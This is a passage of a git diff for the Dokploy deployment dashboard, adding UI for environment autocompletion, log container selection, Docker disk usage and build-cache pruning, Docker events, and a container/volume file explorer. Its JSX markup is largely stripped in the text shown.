composeData?.createEnvFile ?? true, }); }; @@ -176,6 +205,7 @@ export const ShowEnvironment = ({ id, type }: Props) => { } as CSSProperties } language="properties" + completionSource={completionSource} disabled={isEnvVisible} className="font-mono" wrapperClassName="compose-file-editor" @@ -190,6 +220,34 @@ PORT=3000 )} /> + {showCreateEnvFileToggle && ( + ( + +
+ Create Environment File + + When enabled, an .env file will be created in the same + directory as your compose file on every deploy. + Disable this to keep a repository-provided .env; the + variables above will then be ignored. Takes effect on + the next deploy. + +
+ + + +
+ )} + /> + )} + {canWrite && (
{hasChanges && ( diff --git a/apps/dokploy/components/dashboard/application/environment/show.tsx b/apps/dokploy/components/dashboard/application/environment/show.tsx index 378a871ad..927c8f81b 100644 --- a/apps/dokploy/components/dashboard/application/environment/show.tsx +++ b/apps/dokploy/components/dashboard/application/environment/show.tsx @@ -3,6 +3,7 @@ import { useEffect } from "react"; import { useForm } from "react-hook-form"; import { toast } from "sonner"; import { z } from "zod"; +import { useEnvCompletionSource } from "@/components/shared/env-autocomplete"; import { Button } from "@/components/ui/button"; import { Card } from "@/components/ui/card"; import { @@ -45,6 +46,13 @@ export const ShowEnvironment = ({ applicationId }: Props) => { }, ); + const completionSource = useEnvCompletionSource({ + projectEnv: data?.environment?.project?.env, + environmentEnv: data?.environment?.env, + projectId: data?.environment?.projectId, + environmentId: data?.environment?.environmentId, + }); + const form = useForm({ defaultValues: { env: "", @@ -142,6 +150,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => { } placeholder={["NODE_ENV=production", "PORT=3000"].join("\n")} + completionSource={completionSource} /> {data?.buildType === "dockerfile" && ( { } placeholder="NPM_TOKEN=xyz" + completionSource={completionSource} /> )} {data?.buildType === "dockerfile" && ( @@ -185,6 +195,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => { } placeholder="NPM_TOKEN=xyz" + completionSource={completionSource} /> )} {data?.buildType === "dockerfile" && ( diff --git a/apps/dokploy/components/dashboard/application/logs/show.tsx b/apps/dokploy/components/dashboard/application/logs/show.tsx index 52ab40ec4..36aa59a9f 100644 --- a/apps/dokploy/components/dashboard/application/logs/show.tsx +++ b/apps/dokploy/components/dashboard/application/logs/show.tsx @@ -1,6 +1,7 @@ import { Loader2 } from "lucide-react"; import dynamic from "next/dynamic"; import { useEffect, useState } from "react"; +import { resolveContainerSelection } from "@/components/dashboard/docker/logs/utils"; import { Badge } from "@/components/ui/badge"; import { Card, @@ -79,17 +80,13 @@ export const ShowDockerLogs = ({ appName, serverId, serviceId }: Props) => { }, ); + const availableContainers = option === "native" ? containers : services; + useEffect(() => { - if (option === "native") { - if (containers && containers?.length > 0) { - setContainerId(containers[0]?.containerId); - } - } else { - if (services && services?.length > 0) { - setContainerId(services[0]?.containerId); - } - } - }, [option, services, containers]); + setContainerId((currentContainerId) => + resolveContainerSelection(currentContainerId, availableContainers), + ); + }, [availableContainers]); const isLoading = option === "native" ? containersLoading : servicesLoading; const containersLength = @@ -105,7 +102,7 @@ export const ShowDockerLogs = ({ appName, serverId, serviceId }: Props) => { -
+
@@ -114,6 +111,7 @@ export const ShowDockerLogs = ({ appName, serverId, serviceId }: Props) => { { + setContainerId(undefined); setOption(checked ? "native" : "swarm"); }} /> diff --git a/apps/dokploy/components/dashboard/application/volume-backups/restore-volume-backups.tsx b/apps/dokploy/components/dashboard/application/volume-backups/restore-volume-backups.tsx index 6732ca0d7..173d1420a 100644 --- a/apps/dokploy/components/dashboard/application/volume-backups/restore-volume-backups.tsx +++ b/apps/dokploy/components/dashboard/application/volume-backups/restore-volume-backups.tsx @@ -50,6 +50,7 @@ interface Props { id: string; type: "application" | "compose"; serverId?: string; + trigger?: React.ReactNode; } const RestoreBackupSchema = z.object({ @@ -64,7 +65,12 @@ const RestoreBackupSchema = z.object({ }), }); -export const RestoreVolumeBackups = ({ id, type, serverId }: Props) => { +export const RestoreVolumeBackups = ({ + id, + type, + serverId, + trigger, +}: Props) => { const [isOpen, setIsOpen] = useState(false); const [search, setSearch] = useState(""); const [debouncedSearchTerm, setDebouncedSearchTerm] = useState(""); @@ -144,10 +150,12 @@ export const RestoreVolumeBackups = ({ id, type, serverId }: Props) => { return ( - + {trigger ?? ( + + )} diff --git a/apps/dokploy/components/dashboard/compose/containers/show-compose-containers.tsx b/apps/dokploy/components/dashboard/compose/containers/show-compose-containers.tsx index 460223fa5..18ff35738 100644 --- a/apps/dokploy/components/dashboard/compose/containers/show-compose-containers.tsx +++ b/apps/dokploy/components/dashboard/compose/containers/show-compose-containers.tsx @@ -114,6 +114,7 @@ export const ShowComposeContainers = ({ Name State Status + {appType === "stack" && Node} Container ID @@ -121,8 +122,9 @@ export const ShowComposeContainers = ({ {data.map((container) => ( refetch()} @@ -143,7 +145,9 @@ interface ContainerRowProps { name: string; state: string; status: string; + node?: string; }; + appType: "stack" | "docker-compose"; serverId?: string; serviceId?: string; onActionComplete: () => void; @@ -151,6 +155,7 @@ interface ContainerRowProps { const ContainerRow = ({ container, + appType, serverId, serviceId, onActionComplete, @@ -192,7 +197,13 @@ const ContainerRow = ({ variant={ container.state === "running" ? "default" - : container.state === "exited" + : [ + "exited", + "pending", + "preparing", + "starting", + "ready", + ].includes(container.state) ? "secondary" : "destructive" } @@ -201,96 +212,99 @@ const ContainerRow = ({ {container.status} + {appType === "stack" && {container.node || "-"}} - {container.containerId} + {container.containerId || "-"} - - - - - - - Actions - + {!container.containerId ? null : ( + + + + + + + Actions + + e.preventDefault()} + > + View Logs + + + + + + + Terminal + + e.preventDefault()} + disabled={actionLoading !== null} + onClick={() => handleAction("restart", restartMutation)} > - View Logs + Restart - - - - - - Terminal - - - handleAction("restart", restartMutation)} - > - Restart - - handleAction("start", startMutation)} - > - Start - - handleAction("stop", stopMutation)} - > - Stop - - handleAction("kill", killMutation)} - > - Kill - - - - - - View Logs - Logs for {container.name} - -
- -
-
-
+ handleAction("start", startMutation)} + > + Start + + handleAction("stop", stopMutation)} + > + Stop + + handleAction("kill", killMutation)} + > + Kill + + + + + + View Logs + Logs for {container.name} + +
+ +
+
+
+ )} ); diff --git a/apps/dokploy/components/dashboard/compose/logs/show-stack.tsx b/apps/dokploy/components/dashboard/compose/logs/show-stack.tsx index 23bb4536d..553d46acb 100644 --- a/apps/dokploy/components/dashboard/compose/logs/show-stack.tsx +++ b/apps/dokploy/components/dashboard/compose/logs/show-stack.tsx @@ -2,6 +2,7 @@ import { Loader2 } from "lucide-react"; import dynamic from "next/dynamic"; import { useEffect, useState } from "react"; import { badgeStateColor } from "@/components/dashboard/application/logs/show"; +import { resolveContainerSelection } from "@/components/dashboard/docker/logs/utils"; import { Badge } from "@/components/ui/badge"; import { Card, @@ -54,10 +55,11 @@ export const ShowDockerLogsStack = ({ }, { enabled: !!appName && option === "swarm", + refetchInterval: 5000, }, ); - const { data: containers, isPending: containersLoading } = + const { data, isPending: containersLoading } = api.docker.getContainersByAppNameMatch.useQuery( { appName, @@ -66,20 +68,18 @@ export const ShowDockerLogsStack = ({ }, { enabled: !!appName && option === "native", + refetchInterval: 5000, }, ); + const containers = data?.filter((container) => container.containerId); + const availableContainers = option === "native" ? containers : services; + useEffect(() => { - if (option === "native") { - if (containers && containers?.length > 0) { - setContainerId(containers[0]?.containerId); - } - } else { - if (services && services?.length > 0) { - setContainerId(services[0]?.containerId); - } - } - }, [option, services, containers]); + setContainerId((currentContainerId) => + resolveContainerSelection(currentContainerId, availableContainers), + ); + }, [availableContainers]); const isLoading = option === "native" ? containersLoading : servicesLoading; const containersLength = @@ -104,6 +104,7 @@ export const ShowDockerLogsStack = ({ { + setContainerId(undefined); setOption(checked ? "native" : "swarm"); }} /> diff --git a/apps/dokploy/components/dashboard/compose/logs/show.tsx b/apps/dokploy/components/dashboard/compose/logs/show.tsx index d7c3c0226..0bd0f988e 100644 --- a/apps/dokploy/components/dashboard/compose/logs/show.tsx +++ b/apps/dokploy/components/dashboard/compose/logs/show.tsx @@ -2,6 +2,7 @@ import { Loader2 } from "lucide-react"; import dynamic from "next/dynamic"; import { useEffect, useState } from "react"; import { badgeStateColor } from "@/components/dashboard/application/logs/show"; +import { resolveContainerSelection } from "@/components/dashboard/docker/logs/utils"; import { Badge } from "@/components/ui/badge"; import { Card, @@ -52,14 +53,15 @@ export const ShowDockerLogsCompose = ({ }, { enabled: !!appName, + refetchInterval: 5000, }, ); const [containerId, setContainerId] = useState(); useEffect(() => { - if (data && data?.length > 0) { - setContainerId(data[0]?.containerId); - } + setContainerId((currentContainerId) => + resolveContainerSelection(currentContainerId, data), + ); }, [data]); return ( diff --git a/apps/dokploy/components/dashboard/database/backups/restore-backup.tsx b/apps/dokploy/components/dashboard/database/backups/restore-backup.tsx index 0c13bddb7..d90ef92aa 100644 --- a/apps/dokploy/components/dashboard/database/backups/restore-backup.tsx +++ b/apps/dokploy/components/dashboard/database/backups/restore-backup.tsx @@ -74,6 +74,7 @@ interface Props { databaseType?: DatabaseType; serverId?: string | null; backupType?: "database" | "compose"; + trigger?: React.ReactNode; } const RestoreBackupSchema = z @@ -200,6 +201,7 @@ export const RestoreBackup = ({ databaseType, serverId, backupType = "database", + trigger, }: Props) => { const [isOpen, setIsOpen] = useState(false); const [search, setSearch] = useState(""); @@ -311,10 +313,12 @@ export const RestoreBackup = ({ return ( - + {trigger ?? ( + + )} diff --git a/apps/dokploy/components/dashboard/deployments/show-deployments-table.tsx b/apps/dokploy/components/dashboard/deployments/show-deployments-table.tsx index 770d4efd0..e479d9275 100644 --- a/apps/dokploy/components/dashboard/deployments/show-deployments-table.tsx +++ b/apps/dokploy/components/dashboard/deployments/show-deployments-table.tsx @@ -14,10 +14,11 @@ import { import type { inferRouterOutputs } from "@trpc/server"; import { ArrowUpDown, - Boxes, ChevronLeft, ChevronRight, + CircuitBoard, ExternalLink, + GlobeIcon, Loader2, Rocket, Server, @@ -71,24 +72,26 @@ function getServiceInfo(d: DeploymentRow) { return { type: "Application" as const, name: app.name, + icon: app.icon, projectId: app.environment.project.projectId, environmentId: app.environment.environmentId, projectName: app.environment.project.name, environmentName: app.environment.name, serviceId: app.applicationId, - href: `/dashboard/project/${app.environment.project.projectId}/environment/${app.environment.environmentId}/services/application/${app.applicationId}`, + href: `/dashboard/project/${app.environment.project.projectId}/environment/${app.environment.environmentId}/services/application/${app.applicationId}?tab=deployments`, }; } if (comp?.environment?.project && comp.environment) { return { type: "Compose" as const, name: comp.name, + icon: comp.icon, projectId: comp.environment.project.projectId, environmentId: comp.environment.environmentId, projectName: comp.environment.project.name, environmentName: comp.environment.name, serviceId: comp.composeId, - href: `/dashboard/project/${comp.environment.project.projectId}/environment/${comp.environment.environmentId}/services/compose/${comp.composeId}`, + href: `/dashboard/project/${comp.environment.project.projectId}/environment/${comp.environment.environmentId}/services/compose/${comp.composeId}?tab=deployments`, }; } return null; @@ -175,10 +178,16 @@ export function ShowDeploymentsTable() { if (!info) return ; return (
- {info.type === "Application" ? ( - + {info.icon ? ( + {info.name} + ) : info.type === "Application" ? ( + ) : ( - + )}
{info.name} diff --git a/apps/dokploy/components/dashboard/docker/disk-usage/show-disk-usage.tsx b/apps/dokploy/components/dashboard/docker/disk-usage/show-disk-usage.tsx new file mode 100644 index 000000000..0ce4f21ea --- /dev/null +++ b/apps/dokploy/components/dashboard/docker/disk-usage/show-disk-usage.tsx @@ -0,0 +1,428 @@ +"use client"; + +import { + type ColumnDef, + flexRender, + getCoreRowModel, + getPaginationRowModel, + getSortedRowModel, + type PaginationState, + type SortingState, + useReactTable, +} from "@tanstack/react-table"; +import type { inferRouterOutputs } from "@trpc/server"; +import { + ArrowUpDown, + Boxes, + Database, + Gauge, + HardDrive, + Layers, + Loader2, + type LucideIcon, + Trash2, +} from "lucide-react"; +import { useMemo, useState } from "react"; +import { toast } from "sonner"; +import { DialogAction } from "@/components/shared/dialog-action"; +import { Badge } from "@/components/ui/badge"; +import { Button } from "@/components/ui/button"; +import { + Card, + CardContent, + CardDescription, + CardHeader, + CardTitle, +} from "@/components/ui/card"; +import { Input } from "@/components/ui/input"; +import { + Table, + TableBody, + TableCell, + TableHead, + TableHeader, + TableRow, +} from "@/components/ui/table"; +import type { AppRouter } from "@/server/api/root"; +import { api } from "@/utils/api"; + +type DiskUsageItem = + inferRouterOutputs["dockerDiskUsage"]["getDiskUsage"][number]; +type BuildCacheBase = + inferRouterOutputs["dockerDiskUsage"]["getBuildCache"][number]; +type BuildCacheRow = BuildCacheBase & { key: string }; + +interface Props { + serverId?: string; +} + +const STAT_CARDS: { type: string; title: string; icon: LucideIcon }[] = [ + { type: "Images", title: "Images", icon: Layers }, + { type: "Containers", title: "Containers", icon: Boxes }, + { type: "Local Volumes", title: "Volumes", icon: HardDrive }, + { type: "Build Cache", title: "Build Cache", icon: Database }, +]; + +const SortableHeader = ({ + column, + title, +}: { + column: { + getIsSorted: () => false | "asc" | "desc"; + toggleSorting: (asc: boolean) => void; + }; + title: string; +}) => ( + +); + +const StatCard = ({ + icon: Icon, + title, + item, + isLoading, +}: { + icon: LucideIcon; + title: string; + item?: DiskUsageItem; + isLoading: boolean; +}) => ( + +
+ + {title} +
+ {isLoading ? ( +
+ +
+ ) : ( + <> +
{item?.size ?? "-"}
+
+ {item?.totalCount ?? 0} total + {item?.active ?? 0} active + {item?.reclaimable ?? "-"} reclaimable +
+ + )} +
+); + +export const ShowDiskUsage = ({ serverId }: Props) => { + const utils = api.useUtils(); + const [sorting, setSorting] = useState([ + { id: "Size", desc: true }, + ]); + const [globalFilter, setGlobalFilter] = useState(""); + const [pagination, setPagination] = useState({ + pageIndex: 0, + pageSize: 10, + }); + + const { data: diskUsage, isLoading: isLoadingDiskUsage } = + api.dockerDiskUsage.getDiskUsage.useQuery({ serverId }); + const { data: buildCache, isLoading: isLoadingBuildCache } = + api.dockerDiskUsage.getBuildCache.useQuery({ serverId }); + const { mutateAsync: pruneBuildCache, isPending: isPruning } = + api.dockerDiskUsage.pruneBuildCache.useMutation(); + + const usageByType = useMemo( + () => new Map((diskUsage ?? []).map((item) => [item.type, item])), + [diskUsage], + ); + + const rows = useMemo( + () => + (buildCache ?? []).map((entry) => ({ + ...entry, + key: entry.id, + })), + [buildCache], + ); + + const filteredData = useMemo(() => { + if (!globalFilter.trim()) { + return rows; + } + const query = globalFilter.toLowerCase(); + return rows.filter( + (entry) => + entry.id.toLowerCase().includes(query) || + entry.description.toLowerCase().includes(query) || + entry.type.toLowerCase().includes(query), + ); + }, [rows, globalFilter]); + + const handlePrune = async () => { + try { + await pruneBuildCache({ serverId }); + toast.success("Build cache pruned"); + await Promise.all([ + utils.dockerDiskUsage.getBuildCache.invalidate(), + utils.dockerDiskUsage.getDiskUsage.invalidate(), + ]); + } catch (error) { + toast.error("Error pruning build cache", { + description: error instanceof Error ? error.message : "Unknown error", + }); + } + }; + + const columns = useMemo[]>( + () => [ + { + accessorKey: "id", + header: ({ column }) => ( + + ), + cell: ({ row }) => ( + + {row.original.id.slice(0, 16)} + + ), + }, + { + accessorKey: "type", + header: ({ column }) => , + cell: ({ row }) => {row.original.type}, + }, + { + accessorKey: "description", + header: "Description", + enableSorting: false, + cell: ({ row }) => ( +
+ {row.original.description || "-"} +
+ ), + }, + { + id: "Size", + accessorFn: (entry) => entry.sizeBytes, + header: ({ column }) => , + cell: ({ row }) => ( + {row.original.size} + ), + }, + { + id: "created", + accessorKey: "createdSince", + header: "Created", + enableSorting: false, + cell: ({ row }) => ( + + {row.original.createdSince} + + ), + }, + { + id: "lastUsed", + accessorKey: "lastUsedSince", + header: "Last Used", + enableSorting: false, + cell: ({ row }) => ( + + {row.original.lastUsedSince} + + ), + }, + { + accessorKey: "usageCount", + header: ({ column }) => ( + + ), + cell: ({ row }) => ( + + {row.original.usageCount} + + ), + }, + { + id: "flags", + enableSorting: false, + header: "Flags", + cell: ({ row }) => ( +
+ {row.original.inUse && In use} + {row.original.shared && Shared} +
+ ), + }, + ], + [], + ); + + const table = useReactTable({ + data: filteredData, + columns, + getRowId: (row) => row.key, + state: { + sorting, + pagination, + }, + onSortingChange: setSorting, + onPaginationChange: setPagination, + getCoreRowModel: getCoreRowModel(), + getSortedRowModel: getSortedRowModel(), + getPaginationRowModel: getPaginationRowModel(), + }); + + return ( +
+
+ {STAT_CARDS.map((stat) => ( + + ))} +
+ +
+ +
+
+ + + Build Cache + + + Cache layers kept by the Docker builder on the selected + server. + +
+ + + +
+
+ + {isLoadingBuildCache ? ( +
+ Loading... + +
+ ) : !buildCache?.length ? ( +
+
+ +
+
+

No build cache found

+

+ Layers cached by "docker build" on this server will appear + here. +

+
+
+ ) : ( + <> +
+ setGlobalFilter(e.target.value)} + className="max-w-xs" + /> +
+
+ + + {table.getHeaderGroups().map((headerGroup) => ( + + {headerGroup.headers.map((header) => ( + + {header.isPlaceholder + ? null + : flexRender( + header.column.columnDef.header, + header.getContext(), + )} + + ))} + + ))} + + + {table.getRowModel().rows?.length ? ( + table.getRowModel().rows.map((row) => ( + + {row.getVisibleCells().map((cell) => ( + + {flexRender( + cell.column.columnDef.cell, + cell.getContext(), + )} + + ))} + + )) + ) : ( + + + No build cache entries match your filters. + + + )} + +
+
+ {table.getPageCount() > 1 && ( +
+ + Page {table.getState().pagination.pageIndex + 1} of{" "} + {table.getPageCount()} + +
+ + +
+
+ )} + + )} +
+
+
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/docker/events/show-docker-events.tsx b/apps/dokploy/components/dashboard/docker/events/show-docker-events.tsx new file mode 100644 index 000000000..8a6d76db8 --- /dev/null +++ b/apps/dokploy/components/dashboard/docker/events/show-docker-events.tsx @@ -0,0 +1,425 @@ +import { + type ColumnDef, + flexRender, + getCoreRowModel, + getPaginationRowModel, + getSortedRowModel, + type PaginationState, + type SortingState, + useReactTable, +} from "@tanstack/react-table"; +import { Activity, ArrowUpDown, Loader2, RefreshCw } from "lucide-react"; +import { useMemo, useState } from "react"; +import { Badge } from "@/components/ui/badge"; +import { Button } from "@/components/ui/button"; +import { + Card, + CardContent, + CardDescription, + CardHeader, + CardTitle, +} from "@/components/ui/card"; +import { Input } from "@/components/ui/input"; +import { + Select, + SelectContent, + SelectItem, + SelectTrigger, + SelectValue, +} from "@/components/ui/select"; +import { + Table, + TableBody, + TableCell, + TableHead, + TableHeader, + TableRow, +} from "@/components/ui/table"; +import { api, type RouterOutputs } from "@/utils/api"; + +interface Props { + serverId?: string; +} + +type DockerEvent = RouterOutputs["docker"]["getEvents"]["events"][number]; +type EventRow = DockerEvent & { key: string }; + +const RANGE_OPTIONS = [ + { label: "Last 5 minutes", value: 5 }, + { label: "Last 15 minutes", value: 15 }, + { label: "Last hour", value: 60 }, + { label: "Last 6 hours", value: 360 }, + { label: "Last 24 hours", value: 1440 }, +]; + +type BadgeVariant = "blue" | "green" | "yellow" | "orange" | "red" | "blank"; + +const TYPE_VARIANTS: Record = { + container: "blue", + image: "green", + volume: "yellow", + network: "orange", + service: "blue", + node: "orange", +}; + +const ACTION_VARIANTS: Record = { + create: "green", + start: "green", + pull: "green", + connect: "green", + die: "red", + destroy: "red", + kill: "red", + stop: "red", + remove: "red", + disconnect: "red", + pause: "yellow", + unpause: "yellow", +}; + +const getTypeVariant = (type?: string): BadgeVariant => + (type && TYPE_VARIANTS[type]) || "blank"; + +const getActionVariant = (action?: string): BadgeVariant => + (action && ACTION_VARIANTS[action]) || "blank"; + +const getResource = (event: DockerEvent) => + event.Actor?.Attributes?.name ?? event.Actor?.ID ?? "-"; + +const getAttributesText = (event: DockerEvent) => { + const attributes = Object.entries(event.Actor?.Attributes ?? {}).filter( + ([key]) => key !== "name", + ); + return attributes.map(([key, value]) => `${key}=${value}`).join(" ") || "-"; +}; + +const SortableHeader = ({ + column, + title, +}: { + column: { + getIsSorted: () => false | "asc" | "desc"; + toggleSorting: (asc: boolean) => void; + }; + title: string; +}) => ( + +); + +export const ShowDockerEvents = ({ serverId }: Props) => { + const [minutes, setMinutes] = useState(15); + const [search, setSearch] = useState(""); + const [sorting, setSorting] = useState([ + { id: "time", desc: true }, + ]); + const [pagination, setPagination] = useState({ + pageIndex: 0, + pageSize: 15, + }); + + const { data, isLoading, isRefetching, refetch, error } = + api.docker.getEvents.useQuery({ + serverId, + minutes, + }); + + const events = useMemo( + () => + (data?.events ?? []).map((event, index) => ({ + ...event, + key: `${event.time}-${event.Action}-${index}`, + })), + [data], + ); + + const filteredEvents = useMemo(() => { + if (!search.trim()) return events; + const query = search.toLowerCase(); + return events.filter((event) => { + return ( + event.Type?.toLowerCase().includes(query) || + event.Action?.toLowerCase().includes(query) || + event.Actor?.Attributes?.name?.toLowerCase().includes(query) || + event.Actor?.ID?.toLowerCase().includes(query) + ); + }); + }, [events, search]); + + const columns = useMemo[]>( + () => [ + { + id: "time", + accessorFn: (event) => event.time ?? 0, + header: ({ column }) => , + cell: ({ row }) => ( + + {row.original.time + ? new Date(row.original.time * 1000).toLocaleTimeString() + : "-"} + + ), + }, + { + id: "type", + accessorFn: (event) => event.Type ?? "", + header: ({ column }) => , + cell: ({ row }) => ( + + {row.original.Type ?? "unknown"} + + ), + }, + { + id: "action", + accessorFn: (event) => event.Action ?? "", + header: ({ column }) => ( + + ), + cell: ({ row }) => ( + + {row.original.Action ?? "-"} + + ), + }, + { + id: "resource", + accessorFn: (event) => getResource(event), + header: ({ column }) => ( + + ), + cell: ({ row }) => { + const resource = getResource(row.original); + return ( +
+ {resource} +
+ ); + }, + }, + { + id: "attributes", + accessorFn: (event) => getAttributesText(event), + header: "Attributes", + enableSorting: false, + cell: ({ row }) => { + const attributesText = getAttributesText(row.original); + return ( +
+ {attributesText} +
+ ); + }, + }, + ], + [], + ); + + const table = useReactTable({ + data: filteredEvents, + columns, + getRowId: (row) => row.key, + state: { + sorting, + pagination, + }, + onSortingChange: setSorting, + onPaginationChange: setPagination, + getCoreRowModel: getCoreRowModel(), + getSortedRowModel: getSortedRowModel(), + getPaginationRowModel: getPaginationRowModel(), + }); + + return ( +
+ +
+ +
+
+ + + Docker Events + + + Events reported by the Docker daemon, equivalent to running + "docker events". + +
+ +
+
+ + {error && ( +

{error.message}

+ )} +
+ { + setSearch(e.target.value); + setPagination((prev) => ({ ...prev, pageIndex: 0 })); + }} + className="max-w-xs" + /> + +
+
+ + + {table.getHeaderGroups().map((headerGroup) => ( + + {headerGroup.headers.map((header) => ( + + {header.isPlaceholder + ? null + : flexRender( + header.column.columnDef.header, + header.getContext(), + )} + + ))} + + ))} + + + {isLoading ? ( + + +
+ Loading events... + +
+
+
+ ) : table.getRowModel().rows?.length ? ( + table.getRowModel().rows.map((row) => ( + + {row.getVisibleCells().map((cell) => ( + + {flexRender( + cell.column.columnDef.cell, + cell.getContext(), + )} + + ))} + + )) + ) : ( + + + No events found in the selected time range. + + + )} +
+
+
+ {table.getPageCount() > 1 && ( +
+ + Page {table.getState().pagination.pageIndex + 1} of{" "} + {table.getPageCount()} + +
+ Go to + { + if (e.key !== "Enter") return; + const value = Number( + (e.target as HTMLInputElement).value, + ); + if (!Number.isFinite(value)) return; + const page = Math.min( + Math.max(value, 1), + table.getPageCount(), + ); + table.setPageIndex(page - 1); + }} + onBlur={(e) => { + const value = Number(e.target.value); + if (!Number.isFinite(value)) return; + const page = Math.min( + Math.max(value, 1), + table.getPageCount(), + ); + table.setPageIndex(page - 1); + }} + className="w-16 h-8" + /> +
+
+ + +
+
+ )} +
+
+
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/docker/files/files-explorer-modal.tsx b/apps/dokploy/components/dashboard/docker/files/files-explorer-modal.tsx new file mode 100644 index 000000000..6bf843da6 --- /dev/null +++ b/apps/dokploy/components/dashboard/docker/files/files-explorer-modal.tsx @@ -0,0 +1,401 @@ +import { + ChevronRight, + Download, + File, + Folder, + FolderOpen, + Loader2, + RefreshCw, + Trash2, +} from "lucide-react"; +import { useEffect, useMemo, useState } from "react"; +import { toast } from "sonner"; +import { AlertBlock } from "@/components/shared/alert-block"; +import { CodeEditor } from "@/components/shared/code-editor"; +import { DialogAction } from "@/components/shared/dialog-action"; +import { Button } from "@/components/ui/button"; +import { + Dialog, + DialogContent, + DialogDescription, + DialogHeader, + DialogTitle, + DialogTrigger, +} from "@/components/ui/dialog"; +import { DropdownMenuItem } from "@/components/ui/dropdown-menu"; +import { api } from "@/utils/api"; + +type Props = { + serverId?: string; + children?: React.ReactNode; + asDropdownItem?: boolean; +} & ( + | { containerId: string; volumeName?: undefined } + | { volumeName: string; containerId?: undefined } +); + +const joinPath = (base: string, name: string) => + base === "/" ? `/${name}` : `${base}/${name}`; + +const decodeBase64 = (base64: string) => { + const binary = atob(base64); + const bytes = new Uint8Array(binary.length); + for (let i = 0; i < binary.length; i++) { + bytes[i] = binary.charCodeAt(i); + } + return bytes; +}; + +export const FilesExplorerModal = ({ + containerId, + volumeName, + serverId, + children, + asDropdownItem = true, +}: Props) => { + const [open, setOpen] = useState(false); + const [path, setPath] = useState("/"); + const [selectedFile, setSelectedFile] = useState(null); + const [editorContent, setEditorContent] = useState(""); + + const isVolume = !!volumeName; + const utils = api.useUtils(); + + const containerEntries = api.docker.listContainerFiles.useQuery( + { containerId: containerId ?? "", path, serverId }, + { enabled: open && !isVolume, retry: false }, + ); + const volumeEntries = api.dockerVolume.listVolumeFiles.useQuery( + { volumeName: volumeName ?? "", path, serverId }, + { enabled: open && isVolume, retry: false }, + ); + const { + data: entries, + isLoading: isLoadingEntries, + error: entriesError, + refetch: refetchEntries, + isRefetching, + } = isVolume ? volumeEntries : containerEntries; + + const containerFile = api.docker.readContainerFile.useQuery( + { containerId: containerId ?? "", path: selectedFile ?? "/", serverId }, + { enabled: open && !isVolume && !!selectedFile, retry: false }, + ); + const volumeFile = api.dockerVolume.readVolumeFile.useQuery( + { volumeName: volumeName ?? "", path: selectedFile ?? "/", serverId }, + { enabled: open && isVolume && !!selectedFile, retry: false }, + ); + const { + data: file, + isLoading: isLoadingFile, + error: fileError, + refetch: refetchFile, + } = isVolume ? volumeFile : containerFile; + + const fileBytes = useMemo( + () => (file ? decodeBase64(file.content) : null), + [file], + ); + const isBinary = useMemo( + () => !!fileBytes?.some((byte) => byte === 0), + [fileBytes], + ); + + useEffect(() => { + if (fileBytes && !isBinary) { + setEditorContent(new TextDecoder().decode(fileBytes)); + } + }, [fileBytes, isBinary]); + + const writeContainerFile = api.docker.writeContainerFile.useMutation(); + const writeVolumeFile = api.dockerVolume.writeVolumeFile.useMutation(); + const deleteContainerFile = api.docker.deleteContainerFile.useMutation(); + const deleteVolumeFile = api.dockerVolume.deleteVolumeFile.useMutation(); + + const isSaving = writeContainerFile.isPending || writeVolumeFile.isPending; + const isDeleting = + deleteContainerFile.isPending || deleteVolumeFile.isPending; + + const saveFile = async () => { + if (!selectedFile) return; + try { + if (isVolume) { + await writeVolumeFile.mutateAsync({ + volumeName, + path: selectedFile, + content: editorContent, + serverId, + }); + } else { + await writeContainerFile.mutateAsync({ + containerId: containerId ?? "", + path: selectedFile, + content: editorContent, + serverId, + }); + } + toast.success("File saved"); + refetchFile(); + } catch (error) { + toast.error( + error instanceof Error ? error.message : "Failed to save file", + ); + } + }; + + const deleteEntry = async (entryPath: string) => { + try { + if (isVolume) { + await deleteVolumeFile.mutateAsync({ + volumeName, + path: entryPath, + serverId, + }); + await utils.dockerVolume.listVolumeFiles.invalidate(); + } else { + await deleteContainerFile.mutateAsync({ + containerId: containerId ?? "", + path: entryPath, + serverId, + }); + await utils.docker.listContainerFiles.invalidate(); + } + toast.success("Deleted"); + if (selectedFile === entryPath) { + setSelectedFile(null); + } + } catch (error) { + toast.error(error instanceof Error ? error.message : "Failed to delete"); + } + }; + + const breadcrumbs = path.split("/").filter(Boolean); + + const navigate = (nextPath: string) => { + setPath(nextPath); + setSelectedFile(null); + }; + + const handleOpenChange = (value: boolean) => { + setOpen(value); + if (!value) { + setPath("/"); + setSelectedFile(null); + setEditorContent(""); + } + }; + + const downloadFile = () => { + if (!fileBytes || !selectedFile) return; + const blob = new Blob([fileBytes]); + const url = URL.createObjectURL(blob); + const anchor = document.createElement("a"); + anchor.href = url; + anchor.download = selectedFile.split("/").pop() ?? "file"; + anchor.click(); + URL.revokeObjectURL(url); + }; + + return ( + + + {asDropdownItem ? ( + e.preventDefault()} + > + {children} + + ) : ( + children + )} + + + + + + {isVolume ? "Volume Files" : "Container Files"} + + + {isVolume + ? `Browse and edit files inside the "${volumeName}" volume` + : "Browse and edit files inside the container's filesystem"} + + + +
+ + {breadcrumbs.map((segment, index) => ( + + + {index < breadcrumbs.length - 1 && ( + + )} + + ))} + +
+ +
+
+ {isLoadingEntries ? ( +
+ Loading... + +
+ ) : entriesError ? ( +
+ {entriesError.message} +
+ ) : ( +
+ {path !== "/" && ( + + )} + {entries?.length === 0 && ( + + Empty directory + + )} + {entries?.map((entry) => { + const entryPath = joinPath(path, entry.name); + return ( +
+ + deleteEntry(entryPath)} + > + + +
+ ); + })} +
+ )} +
+ +
+ {!selectedFile ? ( +
+ Select a file to view or edit it +
+ ) : isLoadingFile ? ( +
+ Loading... + +
+ ) : fileError ? ( + {fileError.message} + ) : ( + <> +
+ + {selectedFile} + +
+ + +
+
+ {file?.truncated ? ( + + This file is larger than 512KB. Showing a truncated preview; + editing is disabled. Use Download to get the truncated + content or the terminal for full access. + + ) : isBinary ? ( +
+ Binary file — use Download instead +
+ ) : ( +
+ setEditorContent(value)} + wrapperClassName="h-full font-mono" + /> +
+ )} + + )} +
+
+
+
